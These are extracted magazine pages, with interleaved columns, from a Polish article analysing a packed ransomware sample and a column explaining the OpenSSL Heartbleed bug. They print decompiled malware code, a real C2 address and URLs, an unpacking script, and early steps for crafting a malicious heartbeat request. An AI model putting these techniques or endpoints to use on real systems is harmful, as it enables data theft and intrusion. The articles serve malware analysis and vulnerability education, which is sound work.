pvVar2 = LoadResource(0x0, res); » Utrudnienie analizy programu, szczególnie automatycznym na-
lpProcName = "LockResource"; rzędziom i sygnaturom antywirusowym.
hModule = LoadLibraryExW(L"Kernel32.dll",0,0);
pFVar3 = GetProcAddress(hModule,lpProcName);
iVar4 = (*pFVar3)(pvVar2);
DAT_0040acdc = VirtualAlloc(0x0,0x7a00,0x3000,4);
W tym przypadku mamy do czynienia z tym ostatnim przypadkiem.
RtlMoveMemory(DAT_0040acdc,iVar4,0x7a00);
uVar5 = 0;
do {
if (-1 < uVar5) {
*(DAT_0040acdc + uVar5) =
*(DAT_0040acdc + uVar5) ^ DAT_0040a000[uVar5 % 0xd];
}
if (-1 < (uVar5 + 1)) {
pbVar1 = (DAT_0040acdc + uVar5 + 1);
*pbVar1 = *pbVar1 ^ DAT_0040a000[(uVar5 + 1) % 0xd];
}
if (-1 < (uVar5 + 2)) {
pbVar1 = (DAT_0040acdc + uVar5 + 2);
*pbVar1 = *pbVar1 ^ DAT_0040a000[(uVar5 + 2) % 0xd];
} Rysunek 4. Metoda działania packerów
if (-1 < (uVar5 + 3)) {
pbVar1 = (DAT_0040acdc + uVar5 + 3); 6. Zasoby (ang. resources) to ficzer formatu PE, który pozwala umieszczać w plikach wykonywalnych
*pbVar1 = *pbVar1 ^ DAT_0040a000[(uVar5 + 3) % 0xd]; dodatkowe dane i wygodnie czytać je z poziomu programu.

<102> { 1 / 2022 < 100 > }


/ Analiza złośliwego oprogramowania: packery i obfuskacja /

Żeby przeprowadzić analizę właściwego programu, musimy go Świetnie, wygląda na to, że zdeszyfrowany plik jest plikiem wy-
najpierw odpakować. Co możemy w tym kierunku zrobić? Dwie konywalnym i do tego zawiera interesujący nas kod. Czas, aby bliżej
główne metody, które można zastosować, to: mu się przyjrzeć.
» Podejście dynamiczne: ustawienie breakpointa w kodzie już po
odpakowaniu programu, uruchomienie programu, tak by sam
FUNKCJE Z POWIETRZA
się odpakował, i zrzucenie pamięci.
» Podejście statyczne: przepisanie kodu wypakowywującego sa- Załadujmy teraz wypakowany plik do Ghidry. Tym razem kod pre-
memu i uruchomienie go w celu wygenerowania wyjściowego zentuje się zupełnie inaczej (Listing 7).
pliku.
Listing 7. Nietypowy kod odzyskanego programu

W tym przypadku kod szyfrujący nie jest szczególnie skomplikowa- undefined4 entry(void) {
pcVar2 = FUN_00401425(1,0xc8ac8026);
ny. Najprościej będzie napisać unpacker7 samemu. Musimy najpierw uVar3 = (*pcVar2)("Gdi32.dll");
wyciągnąć odpowiedni zasób z programu, a następnie odszyfrować local_8 = FUN_00403a34(uVar3,"GetTextCharset");
pcVar2 = FUN_00401425(3,0x7cbd2247);
go znanym kluczem. Przy pomocy biblioteki malduck8 można to zro- uVar3 = (*pcVar2)(0);
iVar4 = (*local_8)(uVar3);
bić w paru linijkach9 (Listing 5). if (iVar4 == 0xcc) {
pcVar2 = FUN_00401425(1,0x95902b19);
Listing 5. Kod wyciągający spakowany program z dostarczonej binarki (*pcVar2)(0);
}
from malduck import procmempe, xor else {
pcVar2 = FUN_00401425(1,0xc8ac8026);
# Get the resource contents.
uVar3 = (*pcVar2)("user32.dll");
with procmempe.from_file("f8751c14...", image=True) as p:
_DAT_00408110 = FUN_00403a34(uVar3,"wsprintfW");
data = p.pe.resource("HGFYADSDYSAGYDHAS")
}
# Decrypt it with the hardcoded key // ...
decrypted = xor(b"QaGHRtyurwdasiyudisajk"[:0xD], data) }

# Save to result.bin Nawet porównując tylko z poprzednimi dwoma analizowanymi pro-


with open("result.bin", "wb") as output:
gramami, widać, że ten jest inny. Przede wszystkim:
output.write(decrypted)
» Brakuje prologu kompilatora. Właściwy kod zaczyna wykony-
wać się od razu. Program musiał być skompilowany z nietypo-
W ramach ciekawostki, do wyciągania sekcji z plików PE (wykonywalnych, jak .exe)
nadaje się... popularny program 7zip. Jest on w stanie otworzyć bardzo wiele niety- wymi opcjami (np. -nostdlib).
powych rodzajów archiwów, w tym również pliki wykonywalne. Okazjonalnie ma to
praktyczne zastosowania – pozwala na przykład przeglądać zasoby z programu bez
» Program nie importuje żadnych funkcji z żadnych zewnętrz-
korzystania ze specjalizowanych narzędzi: nych bibliotek – nawet tych uniwersalnych, jak kernel32.dll.
$ 7z x f8751c14...
$ find .rsrc -type f
.rsrc/string.txt Dlaczego tak jest? Odpowiedź jest prosta – przypomnijmy sobie,
.rsrc/version.txt
.rsrc/MANIFEST/1 że malware jest deszyfrowane i wypakowywane w pamięci. Obsługa
.rsrc/ACCELERATOR/ODMRVBAAEQV
importów wymagałaby dużo kodu. Jeśli autor packera może zało-
.rsrc/HGFYADSDYSAGYDHAS/3702
żyć, że pakowany program nie importuje żadnych funkcji, upraszcza
Zaszyfrowany kod znajduje się w pliku .rsrc/HGFYADSDYSAGYDHAS/3702.
to znacznie jego zadanie.
Lepsze pytanie to „w jaki sposób kod coś robi, nie używając bi-
Przyjrzyjmy się wynikowi naszych działań (Listing 6). bliotek”. Spróbujmy na nie odpowiedzieć. Popatrzmy na funkcję
FUN_00401425 – jest używana w wielu miejscach i zwraca coś, co wy-
Listing 6. Wstępna analiza wyciągniętego pliku
gląda na wskaźnik na inne funkcje, więc jest naturalnym celem do
$ file result.bin analizy. Już w pierwszej linijce Listingu 7 jest wołana z parametrami 1
PE32 executable (GUI) Intel 80386, for MS Windows
i 0xc8ac8026. Kod funkcji zaczyna się od:
$ strings result.bin -n 12
!This program cannot be run in DOS mode.
if (param_1 == 1) {
HtvHt`HtJHt4Ht
iVar2 = FUN_004013df();
http://217.23.7.105/ms_chek_os/ms_statistic_os_key.php?...
}
GetTextCharset
advapi32.dll Popatrzmy więc na FUN_004013df (Listing 8).
Content-Type: application/x-www-form-urlencoded
217.23.7.105
/ms_chek_os/get_os_info.php
Listing 8. Kolejna interesująca funkcja
os_valid:TRUE
3.4:4G4R4b4m4 undefined4 FUN_004013df(void) {
puVar3 = *(undefined4 **)(
$ sha256sum result.bin *(int *)(*(int *)(in_FS_OFFSET + 0x30) + 0xc) + 0x1c
99265a23858fb1dbade66870833b6b99e00516a6bfd1b86d28595bddefb95a2a );
do {
puVar1 = puVar3 + 2;
piVar2 = puVar3 + 8;
7. Czyli program wyciągający oryginalny plik ze spakowanego programu.
puVar3 = (undefined4 *)*puVar3;
} while (*(int *)(*piVar2 + 0xc) != 0x320033);
8. https://github.com/CERT-Polska/malduck
return *puVar1;
9. To samo można osiągnąć przy pomocy biblioteki pefile do wyciągnięcia zasobów oraz paru linijek
na implementację własnego xora, ale wygodnie jest mieć wszystkie często potrzebne funkcje pod }
ręką.

{ WWW.PROGRAMISTAMAG.PL } <103>
BEZPIECZEŃSTWO

Cóż tu się dzieje? Odpowiedź nie będzie prosta, ale warto po- aż trafi na moduł, gdzie 7 i 8 znak to „32” – tak jak w kernel32.dll14.
myśleć nad nią chwilę. Żeby zrozumieć ten kod, zacznijmy od środ- Kiedy na taki trafi, zwraca wskaźnik pod offsetem 8, udokumentowa-
ka: czym jest in_FS_OFFSET? Jeśli popatrzymy w okno asemblera, ny jako InMemoryOrderLinks (lista funkcji).
okazuje się, że wyrażenie in_FS_OFFSET + 0x30 skompilowało się Czyli mamy odpowiedź na chociaż jedno pytanie – FUN_004013df
do następującej linijki: to funkcja zwaracająca listę funkcji załadowanej biblioteki kernel32.dll.
Mając taką listę funkcji, możemy programatycznie znaleźć adres in-
MOV ESI, dword ptr FS:[0x30]
teresujących nas funkcji.
Ale kod, który analizujemy, stosuje jeszcze jedną sztuczkę – zamiast
Czym jest to magiczne fs:? Odpowiedź wymagałaby co najmniej ko- szukać funkcji po nazwie, szuka funkcji za pomocą prostego, popular-
lejnego artykułu. Ale w skrócie: architektura x86 wspiera segmenty nego w malware hasha. Czyli zamiast sprawdzać, czy function.name
(starsi czytelnicy być może pamiętają je z czasów DOS). Pozwalały == "ExpectedName", kod sprawdza, czy hash(function.name) ==
one procesowi na używanie wielu różnych obszarów pamięci jedno- 0x12345678. Jest to kolejna klasyczna metoda utrudniająca nieco ana-
cześnie (co było ważne w czasach 16-bitowych procesorów). Współ- lizę. Na przykład w pierwszej linijce funkcji entry:
czesne systemy operacyjne niemal z tej opcji nie korzystają, i prawie
FUN_00401425(1, 0xc8ac8026);
wszystkie rejestry segmentowe wskazują na ten sam obszar pamięci –
z wyjątkiem właśnie rejestru fs10. Na 32-bitowym Windowsie rejestr
fs wskazuje na specjalną strukturę zwaną TIB (Thread Information 0xc8ac8026 jest skrótem jakiejś nieznanej funkcji. W jaki sposób
Block). Zawiera ona informacje o obecnie działającym procesie. Ofi- sprawdzić, co to za funkcja? Można na przykład przeanalizować al-
cjalnie jest nieudokumentowana, ale możemy znaleźć jej opis nawet gorytm hashujący (funkcja FUN_0040140d), policzyć hashe dla nazw
na Wikipedii11. wszystkich funkcji z biblioteki kernel32.dll i sprawdzić, który pasuje.
Inaczej mówiąc, fs:0 wskazuje na początek struktury TIB. Na szczęście jednak ktoś już to zrobił za nas. I owszem, wystarczy
Sprawdźmy więc, co znajduje się w tej strukturze na przesunięciu wpisać w wyszukiwarkę internetową liczbę 0xc8ac8026, żeby dowie-
0x30. Okazuje się, że jest to wskaźnik do kolejnej struktury: PEB dzieć się, że odpowiada funkcji LoadLibrary.
(Process Environment Block). Jest to kolejna średnio udokumento-
wana struktura, z masą pól o nazwie „Reserved”, ale akurat adres, któ-
WŁAŚCIWA ANALIZA,
ry nas interesuje, czyli PEB + 12, jest oficjalnie udokumentowany12
CZYLI OSTATNI KROK
jako struktura PEB_LDR_DATA13. Tam z kolei, pod adresem 0x1C, znaj-
dziemy pole typu LIST_ENTRY – listę InMemoryOrderModuleList. Podsumowując, ustaliliśmy, że funkcja FUN_00401425 służy do szu-
Brzmi bardzo skomplikowane? Spójrzmy na Rysunek 4. kania załadowanych do pamięci funkcji. Malware uzbrojone w taką
funkcję może samo załadować sobie wszystko, czego potrzebuje.
Na przykład po podstawieniu dynamicznie ładowanych funkcji
Listing 7 możemy przepisać tak (Listing 9):

Listing 9. Czytelniejsza wersja Listingu 7

undefined4 entry(void) {
gdi32 = LoadLibrary("Gdi32.dll");
getTextCharset = GetProcAddress(gdi32,"GetTextCharset");
currentDC = GetDC(0);
charset = getTextCharset(currentDC);
if (charset == 0xcc) {
ExitProcess(0);
Rysunek 4. Kolejność struktur czytanych przez program }
else {
uVar3 = LoadLibrary("user32.dll");
wsprintf = GetProcAddress(uVar3,"wsprintfW");
I po co to wszystko? Okazuje się, że lista InMemoryOrderModuleList
}
zawiera... wszystkie biblioteki załadowane już w kontekst procesu. To // ...
oznacza, że możemy dostać się w ten sposób do wszystkich biblio-
tek wczytanych przez proces packera. A z pewnością do biblioteki
kernel32.dll, która (pomijając bardzo dziwne sytuacje) jest załadowa- Mając przed sobą tak czytelny kod, możemy przystąpić do dalszej ana-
na w każdym procesie uruchomianym w systemie Windows. lizy, która jest już czystą formalnością.
I faktycznie, jeśli popatrzymy na pętlę while w Listingu 8, za- Pierwszy if tutaj jest ciekawy – jeśli obecnie ustawiony zestaw
uważymy, że przechodzi ona po elementach listy modułów tak długo, znaków w systemie jest równy 0xCC, program od razu się wyłącza.
Jakiej stałej odpowiada ta liczba? Jest to RUSSIAN_CHARSET. Oznacza
to, że obywatele krajów rosyjskojęzycznych (albo po prostu ludzie
10. Konkretnie, na 32-bitowym Windowsie używany jest rejestr fs, a na 64-bitowym – gs.
11. https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
12. https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb 14. Jeśli tego nie widać: warunek (*(int *)(*piVar2 + 0xc) != 0x320033) to zobfuskowana
13. https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data forma testu, czy wideString[6] == '3' && wideString[7] == '2'.

<104> { 1 / 2022 < 100 > }


/ Analiza złośliwego oprogramowania: packery i obfuskacja /

używający takiej klawiatury w systemie) nie muszą się obawiać tego To, co tutaj się dzieje, przyprawiłoby o ból głowy niejednego
ransomware15. kryptografa. Przede wszystkim, mimo że parametrem do funkcji jest
Uzbrojeni w taką wiedzę, jesteśmy w stanie przeanalizować resztę klucz RSA, nic nie jest szyfrowane za pomocą RSA. Zamiast tego,
binarki. Przeskakując żmudne etapy analizy, przejdźmy do głównej z klucza RSA jest liczony hash SHA256, który jest wykorzystywany
funkcji programu. Przedstawia się ona tak (Listing 10): jako klucz AES. Oznacza to, że szyfrowanie wykorzystane w ransom-
ware jest symetryczne. A to z kolei oznacza, że mając do dyspozycji
Listing 10. Zrewersowany kod głównej funkcji z nazwanymi funkcjami
klucz zapisany w programie, jesteśmy w stanie odzyskać zaszyfrowa-
if (!encryptionDone()) { ne nim pliki.
if (!cryptomixInitialized()) {
initialise1(); Ponownie, nie przejdziemy przez cały proces tworzenia dekryp-
initialise2(); tora, ale koncepcyjnie jest bardzo prosty:
}
internetOk = internetOpenUrl("http://217.23.7.105/...");
if (!getExistingRsaKey()) { enc_file = open("file.encrypted", "rb")
if ( internetOk == 1 ) { # deszyfrowany plik
generateRsaKeyToRegistry(); hardcoded_key = b"...";
} else { # bajty klucza, wyciągnięte z pamięci
saveKeyToRegistry((int)&staticRsaKey, 268); aes_key = sha256(hardcoded_key)
if (internetOk == 1) {
decrypted = aes_decrypt(aes_key, enc_file)
uploadKeyToC2(1);
}
}
}
// Reszta kodu - rekursywne szyfrowanie dysku Oczywiście, taki dekryptor nie zadziała dla każdego. Ludzie, którzy
} padli ofiarą „zaszyfrowania”, kiedy serwer C2 działał, nie mogą liczyć
na odzyskanie swoich danych bez poniesienia kosztów. Na szczęście,
Jak widać, ransomware ten działa w trybie online – generuje klucz w praktyce okazało się, że autorzy ransomware byli równie nieudol-
lokalnie, a następnie wysyła go po API na serwer C2. nymi administratorami jak kryptografami i przez dłuższy czas więk-
Patrząc na dobrze zrewersowany kod w takiej postaci, wyraźnie szość zgłaszających się ofiar dało się uratować.
widać jednak też pewien zgrzyt. Jeśli nie uda się nawiązać połączenia
internetowego, zamiast generować klucz RSA używany jest klucz hard-
ZAKOŃCZENIE
kodowany w programie! To bardzo interesujące, bo serwery złośliwego
oprogramowania mają zazwyczaj krótkie życie. Wynika z tego, że spora Co można wynieść z tego artykułu? Na pewno to, że często większość
część ofiar została zaszyfrowana... stałym, znanym nam kluczem. czasu podczas analizy złośliwego oprogramowania zajmuje popra-
Samo z siebie to jeszcze niczego nie dowodzi – przy pomocy wianie czytelności kodu – czyli na pokonywaniu packerów, obfuska-
kryptografii asymetrycznej łatwo napisać kod wykorzystujący stały cij i innych kłód rzucanych nam pod nogi przez twórców programu.
klucz publiczny w taki sposób, że tylko właściciel klucza prywatnego Mając już czysty i czytelny kod, sama analiza bywa prosta.
jest w stanie odczytać zaszyfrowane dane. Popatrzmy więc na funkcję Złośliwe oprogramowanie analizowane w tej części może nie było
szyfrującą (Listing 11): bardzo skomplikowane, ale prezentowało wiele cech typowych dla
tej kategorii oprogramowania. Dobra znajomość metod radzenia so-
Listing 11. Kod szyfrujący wykorzystany w analizowanym ransomware
bie z takimi problemami to klucz do bycia efektywnym inżynierem
encrypt(void *rsaKey, DWORD *src, int size, DWORD *out) { wstecznym.
if (CryptAcquireContextW(&hProv,0,0,24,0xF0000000)) {
if (CryptCreateHash(hProv,CALG_SHA_256,0,0,&hHash)) { Ponownie zachęcam wszystkich czytelników, którzy chcieliby na-
if (CryptHashData(hHash,rsaKey,0x10Cu,0) && uczyć się podstaw rewersowania, do spróbowania swoich sił z tym
CryptDeriveKey(hProv,CALG_AES_256,hHash,1,&hKey)){
if (CryptEncrypt(hKey,0,1,0,0,&size,size)){ programem. Nawet najlepszy artykuł nie zastąpi samodzielnej pracy
out = GlobalAlloc(0x40u,size);
if (out) {
w realistycznych warunkach.
rtlMoveMemory(out,*src,size);
CryptEncrypt(out,0,1,0,out,&size,size)
}
}
}
} JAROSŁAW JEDYNAK
}
} msm@tailcall.net
Analityk malware w dużej firmie antywirusowej. W swojej pracy zajmuje
15. Jaki interes miał twórca złośliwego oprogramowania w dodawaniu takiego warunku? Wytłuma-
czeń jest wiele. Jedno z ciekawszych jest takie, że kraje wschodnie nie bardzo lubią zgadzać się na się głównie walką ze złośliwym oprogramowaniem oraz przestępcami
ekstradycję swoich obywateli na Zachód. A to z kolei oznacza, że ich obywatele nie muszą się szcze- internetowymi. W wolnym czasie gra w CTFy z zespołem p4 albo rozwija
gólnie obawiać stróżów prawa, tak długo jak atakują tylko zachodnie. Nie jest to oczywiście pewna
metoda, ale na pewno ułatwia życie przestępcom. własne projekty programistyczne.

{ WWW.PROGRAMISTAMAG.PL } <105>
Z ARCHIWUM CVE

OpenSSL Heartbleed
OpenSSL jest najpopularniejszą biblioteką kryptograficzną na świecie. Jednym z podstawowych
jej zastosowań jest obsługa protokołu TLS/SSL, powszechnie wykorzystywanego w Internecie.
Niestety jakość kodu tej biblioteki pozostawia wiele do życzenia, co jest dość zaskakujące,
biorąc pod uwagę fakt, że jest ona jednym z fundamentów zapewniających bezpieczeństwo
sieci. O wątpliwej jakości kodu świadczy błąd CVE-2014-0160, potocznie nazywany Heartble-
ed, umożliwiający wykradanie poufnych informacji. W 2014 roku podatność ta zdobyła nagro-
dę Pwnie Awards w kategori najlepszy błąd po stronie serwera. Heartbleed zapoczątkował
całą serię nowych inicjatyw mających na celu poprawę jakości kodu biblioteki OpenSSL.

PROGRAMOWANIE JEST TRUDNE Funkcjonalność ta dodaje specjalny pakiet, który pozwala klien-
towi bądź serwerowi sprawdzić, czy druga strona wciąż jest osią-
Kryptografia jest jedną z najtrudniejszych dziedzin informatyki. Za- galna, bez konieczności wysyłania faktycznych danych. Taki pakiet
projektowanie dobrego algorytmu kryptograficznego wymaga bardzo może też być wykorzystany do poinformowania drugiej strony, że
dobrej znajomości matematyki, dodatkowo nie można przesadzić dane połączenie jest wciąż potrzebne. Jest to użyteczne na przykład
z jego skomplikowaniem, tak aby operacje szyfrowania czy deszyfro- w sytuacji, gdy obie strony od dłuższego czasu nie wysyłają żadnych
wania nie trwały wieczność. Podatność w algorytmie kryptograficz- danych, a nie chcą, aby druga ze stron z powodu bezczynności ze-
nym może być brzemienna w skutkach. Z tego powodu bardzo dobrą rwała połączenie. Dodatkowo, przy połączeniach wykorzystujących
praktyką jest nie tyle projektowanie własnych szyfrów, co korzystanie NAT (pol. translacja adresów sieciowych, ang. Network Address
z dobrze znanych i przeanalizowanych algorytmów takich jak RSA Translation), wysłanie tego pakietu odświeży stany tablic NAT.
czy AES. Z punktu widzenia kryptologii aktualnie wykorzystywane W Listingu 1 został zaprezentowany pakiet Heartbeat opisany w RFC.
algorytmy zapewniają nam duży poziom bezpieczeństwa. Najsłab- Pierwszym polem w pakiecie jest typ. Może on przybrać dwie wartości:
szym elementem okazuje się implementacja algorytmów kryptogra- » heartbeat_request – o wartości numerycznej 1, oznaczający
ficznych bądź niepoprawne ich wykorzystanie. prośbę o potwierdzenie, że druga strona wciąż istnieje.
Celem projektu OpenSSL jest wytworzenie ogólnodostępnego » heartbeat_response – o wartości numerycznej 2, jest odpo-
narzędzia do obsługi kryptografii. Lista obsługiwanych algorytmów wiedzią na heartbeat_request.
jest bardzo duża i rzadko kiedy jakiś algorytm kryptograficzny jest
z niej usuwany. Dzięki temu z jednej strony otrzymujemy bardzo po- W pakiecie heartbeat_request możemy dodatkowo wysłać dowol-
tężne narzędzie mające wiele szyfrów, jednak z drugiej strony narzę- ną wiadomość (pole payload). Zgodnie z dokumentacją ta sama
dzie, które jest bardzo skomplikowane. zawartość wiadomości zostanie odesłana przez drugą stronę w pakie-
Ponadto OpenSSL implementuje wiele protokołów współtowa- cie heartbeat_response. Długość wiadomości wyrażona jest przez
rzyszących algorytmom kryptograficznym. Przykładami takich al- 16-bitową liczbę w kolejnym polu payload_length. Obsługiwane
gorytmów mogą być TLS (ang. Transport Layer Security) czy DTLS jest także wysyłanie wiadomości o zerowej długości.
(ang. Datagram Transport Layer Security). Duża ilość protokołów Ostatnie pole (padding) zawiera dopełnienie struktury. Jest to bu-
sprawiła, że biblioteka urosła, a duża ilość kodu doprowadziła do nie- for o minimalnej długości 16 bajtów (może być dłuższy w zależności
spójności w interfejsie. od protokołu), wypełniony losową wartością. W dokumencie RFC za-
OpenSSL napisano w języku C, który jest bardzo wymagający dla leca się, by odbiorca wiadomości zignorował wartość tego pola.
programisty, jeśli chodzi o bezpieczeństwo. Trudno się zatem dzi-
Listing 1. Deklaracja struktury wykorzystywanej przez funkcjonalność
wić, że biblioteka ta nie jest najlepiej zaprojektowana. Z jednej strony Heartbeat opisanej w RFC 6520
osoby ją tworzące musiały być świetnymi programistami, z drugiej –
struct {
świetnymi kryptologami. HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
HEARTBEAT opaque padding[padding_length];
} HeartbeatMessage;

Aby w pełni zrozumieć opisywany błąd, w pierwszej kolejności przyj-


rzymy się dodatkowej funkcjonalności Heartbeat do protokołów TLS Pakiet Heartbeat jest wysyłany w ramach protokołu TLS bądź proto-
i DTLS. Rozszerzenie to jest opisane w dokumencie RFC 6520. TLS kołu DTLS. Przyjrzyjmy się, jak wygląda wysłanie pakietu w proto-
i DTLS są wykorzystywane jako warstwa szyfrowania, na bazie której bu- kole TLS. Heartbeat wysyłany jest przy użyciu struktury wykorzysty-
dujemy kolejny protokoły sieciowe. Rozszerzenie Heartbeat umożliwia wanej do przesyłania danych tekstem jawnym (ang. plaintext record),
uzyskanie funkcjonalności keep-alive już na poziomie tych protokołów. która jest opisana w RFC 5246. Ten sam pakiet – zaprezentowany

<106> { 1 / 2022 < 100 > }


/ OpenSSL Heartbleed /

w Listingu 2 – jest wykorzystywany na przykład przy negocjacji


PODATNOŚĆ HEARTBLEED
TLSa. Dla pakietu Heartbeat został wybrany identyfikator 0x18
(24, pole type). Błąd Heartbleed został zgłoszony przez zespół bezpieczeństwa z firmy
Pole version określa wersję TLSa. Przykładowymi jego warto- Codenomicon oraz Neel’a Mehtę z firmy Google. W celu znalezienia
ściami są: tego błędu musimy przeanalizować Listing 3, w którym znajduje się
» 0x0301 dla TLS 1.0 funkcja tls1_process_heartbeat. Funkcja ta jest odpowiedzialna
» 0x0302 dla TLS 1.1 za odebranie i wygenerowanie pakietu Heartbeat w protokole TLS.
» 0x0303 dla TLS 1.2 W linii 4 do zmiennej p przypisywany jest wskaźnik do danych
z pakietu. Nie została zastosowana tutaj żadna struktura znana z ję-
Pole length określa wielkość wysyłanego fragmentu. Fragment ten zyka C. Decyzja ta zapewne była spowodowana tym, że pole wiado-
znajduje się zaraz za tym polem i przechowuje pozostałą częścią pa- mości jest zmiennej długości, a sam pakiet stosunkowo mały i prosty.
kietu. Zawartość tej części jest zależna od typu. W przypadku He- Dalej, w linii 10, odczytujemy typ pakietu i zapisujemy go do
artbeat zdefiniowana struktura – omówiona już wcześniej – została zmiennej hbtype. Następnie przesuwany jest wskaźnik. Po czym za
zaprezentowana w Listingu 1. pomocą makra n2s1, do zmiennej payload, odczytywane jest kolej-
ne pole: 2-bajtowa liczba określająca wielkość wiadomości. Makro to
Listing 2. Deklaracja struktury do wysyłania danych tekstem jawnym opisa-
nej w RFC5246 przesuwa ponadto wskaźnik (o dwa bajty) oraz konwertuje liczbę do
odpowiedniej kolejności bajtów (ang. byte order lub endianness) uży-
struct {
ContentType type; wanej przez system.
ProtocolVersion version; W przypadku gdy przychodzący pakiet jest typu żądania (ang. request),
uint16 length;
opaque fragment[TLSPlaintext.length]; alokujemy miejsce na odpowiedź (linie 16 i 21), której rozmiar obli-
} TLSPlaintext; czamy, dodając do siebie 1 bajt (na typ żądania), 2 bajty (na długość
żądania), odebraną długość wiadomości (zmienna payload) i na koń-
Na Rysunku 1 możemy zobaczyć przykładowe wykorzystanie me- cu 16 bajtów, które są minimalnym paddingiem.
chanizmu Heartbeat w ramach protokołu TLS. W pierwszej kolej- Do nowo lokowanego bufora zapisujemy typ żądania odpowie-
ności odbywa się negocjacja TLS, w szczegóły której w tym artykule dzi (linia 25). W linii 26 zapisujemy odebraną długość wiadomości
nie będziemy się zagłębiać. Następnie klient wysyła pakiet heart- za pomocą makra s2n – odwrotność funkcji n2s. Następnie kopiu-
beat_request. Jeżeli serwer wciąż ma otwarte połączenie, powinien jemy zawartość wiadomości za pomocą funkcji memcpy do nowo
odpowiedzieć pakietem heartbeat_response. Wiadomość w obu utworzonego bufora. Zawartość wiadomości i ilość bajtów jest wzięta
pakietach jest taka sama. Na końcu mamy 16-bajtowy padding z lo- z pakietu z żądaniem. W linii 30 generowany jest losowy 16-bajtowy
sowymi danymi. W obu pakietach ten padding jest różny. Wydaje się, padding, a następnie pomiędzy liniami 32 i 33 wysyłamy pakiet.
że ten protokół nie jest zbyt skomplikowany. Co może pójść nie tak? Problem w tej funkcji występuje w momencie kopiowania za-
wartości za pomocą funkcji memcpy, gdyż ilość kopiowanych bajtów
jest brana bezpośrednio z odebranego pakietu. Co się stanie, jeśi pa-
kiet heartbeat_request będzie zawierał bardzo krótką wiadomość
(na przykład 1 bajt), a pole payloyad_length będzie informować,
że wiadomość jest bardzo długa (na przykład 4096 bajtów)? Wciąż
skopiujemy 4096 bajtów, z czego pierwszy bajt będzie pochodził
z oryginalnej wiadomości, a pozostałe 4095 bajtów będzie kolejnymi
bajtami, które akurat będą znajdować się w pamięci procesu. Jest to
klasyczna podatność buffer over-read (pl. odczytanie poza buforem).
Tę sytuację zobrazowano na Rysunku 2.
Czy odczytanie losowego fragmentu pamięci z procesu może być
problemem? Jak się okazuje – znamiennym. Dzięki temu pakietowi
możemy odczytać do 65535 bajtów pamięci, gdzie mogą znaleźć się
poufne informacje, takie jak: dane uwierzytelniające, klucze sesyjne
czy część prywatna klucza serwera. Warto nadmienić, że problem nie
dotyczy tylko protokołu HTTPS, a wszystkich bazujących na TLSie.

Listing 3. Funkcja tls1_process_heartbeat z podatnej wersji OpenSSL

1. int
2. tls1_process_heartbeat(SSL *s)
3. {
4. unsigned char *p = &s->s3->rrec.data[0], *pl;
5. unsigned short hbtype;

1. Prawdopodobnie nazwa tego makro pochodzi od pierwszych liter angielskich słów network
Rysunek 1. Uproszczony przykład komunikacji TLS pakietów heartbeat_request i heartbeat_response (pl. sieć) i system.

{ WWW.PROGRAMISTAMAG.PL } <107>
Z ARCHIWUM CVE

6. unsigned int payload; Przeanalizowaliśmy kod rozszerzenia Heartbeat dla TLSa, nato-
7. unsigned int padding = 16; /* Use minimum padding */
8. miast analogiczny błąd występował również w implementacji tego
9. /* Read type and payload length first */ rozszerzenia dla protokołu DTLS.
10. hbtype = *p++;
11. n2s(p, payload);

EXPLOITACJA
12. pl = p;
13.
14. [...]
15. W tej części artykułu skupimy się na napisaniu exploita, który umoż-
16. if (hbtype == TLS1_HB_REQUEST)
17. { liwi nam wykradnięcie fragmentu pamięci procesu. Zgodnie z RFC
18. unsigned char *buffer, *bp;
pakiet Heartbeat może zostać wysłany w dowolnym momencie. Wy-
19. int r;
20. starczy zatem wysłać 2 pakiety, pierwszy inicjalizujący połączenie
21. buffer = OPENSSL_malloc(1 + 2 + payload + padding);
22. bp = buffer;
TLS zwany ClientHello, a następnym może być już spreparowana
23. wiadomość heartbeat_request.
24. /* Enter response type, length and copy payload */
25. *bp++ = TLS1_HB_RESPONSE; W pierwszej kolejności w pakiecie ClientHello musimy ogłosić,
26. s2n(payload, bp); że w ramach sesji jest wspierane rozszerzenie Heartbeat. Na tę chwi-
27. memcpy(bp, pl, payload);
28. bp += payload; lę najprostszą metodą jest ręczne dodanie informacji o rozszerzeniu
29. /* Random padding */ do pakietu ClientHello. Przy użyciu takich narzędzi jak Wireshark
30. RAND_pseudo_bytes(bp, padding);
31. bądź tcpdump nagrywamy dowolną sesję TLSv1.2. Zrzut z narzędzia
32. r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, Wireshark z widocznym pakietem został zaprezentowany na Rysun-
33. buffer, 3 + payload + padding);
34. ku 3. Postać binarną części TLSowej zapisujemy do pliku.
35. [...]
W ostatniej sekcji rozszerzeń (ang. extension) musimy dodać 5 bajtów:
» 0x000f (15) – identyfikator rozszerzenia Heartbeat,
» 0x0001 (1) – wielkość opisu rozszerzenia,
» 0x01 (1) – opis rozszerzenia – liczba 1 oznacza, że jest ona włączona.

Następnie w pakiecie ClientHello musimy zwiększyć dwa pola Length


(w strukturze TLSv1.2 Record Layer oraz w strukturze Handshake Pro-
tocol: ClientHello) i pole Extensions Length (w sumie 3 pola). Pozy-
cje, czyli też miejsce tych pól w pliku binarnym pakietu, możemy
odczytać z Wiresharka, natomiast modyfikacji najłatwiej dokonać
w dowolnym Hex edytorze. Można też skopiować bajty do postaci
hexadecymalnej, ręcznie je zmodyfikować i zakodować z powrotem
Rysunek 2. Schemat kopiowania pamięci do postaci binarnej. My posłużymy się wersją binarną. Na Rysunku 4

Rysunek 3. Analiza pakietu ClientHello w Wiresharku

<108> { 1 / 2022 < 100 > }


/ OpenSSL Heartbleed /

możemy zobaczyć wersję pakietu po modyfikacji. Zmodyfikowane nia podatności. Nasz obraz dockerowy wykorzystuje pakiet vulhub/
bajty zostały zaznaczone kolorem czerwonym. nginx:heartbleed. Zawiera on serwer HTTP Nginx, który jest po-
datny na Heartbleed. Następnie przenosimy certyfikaty do kontenera.
Można wykorzystać samodzielnie wygenerowane certyfikaty (ang. self-
-signed), wykonując odpowiednio program openssl. Na końcu Docker-
file przenosimy do kontenera konfigurację oprogramowania nginx.
W drugiej kolejności jest pokazana minimalna konfiguracja serwera
WWW, w której szczegóły nie będziemy wchodzić. Ostatnie dwie ko-
mendy służą do zbudowania i uruchamiania nowego kontenera. Para-
metr -p definiuje numer portu, który będzie przekierowany pomiędzy
kontenerem a hostem.

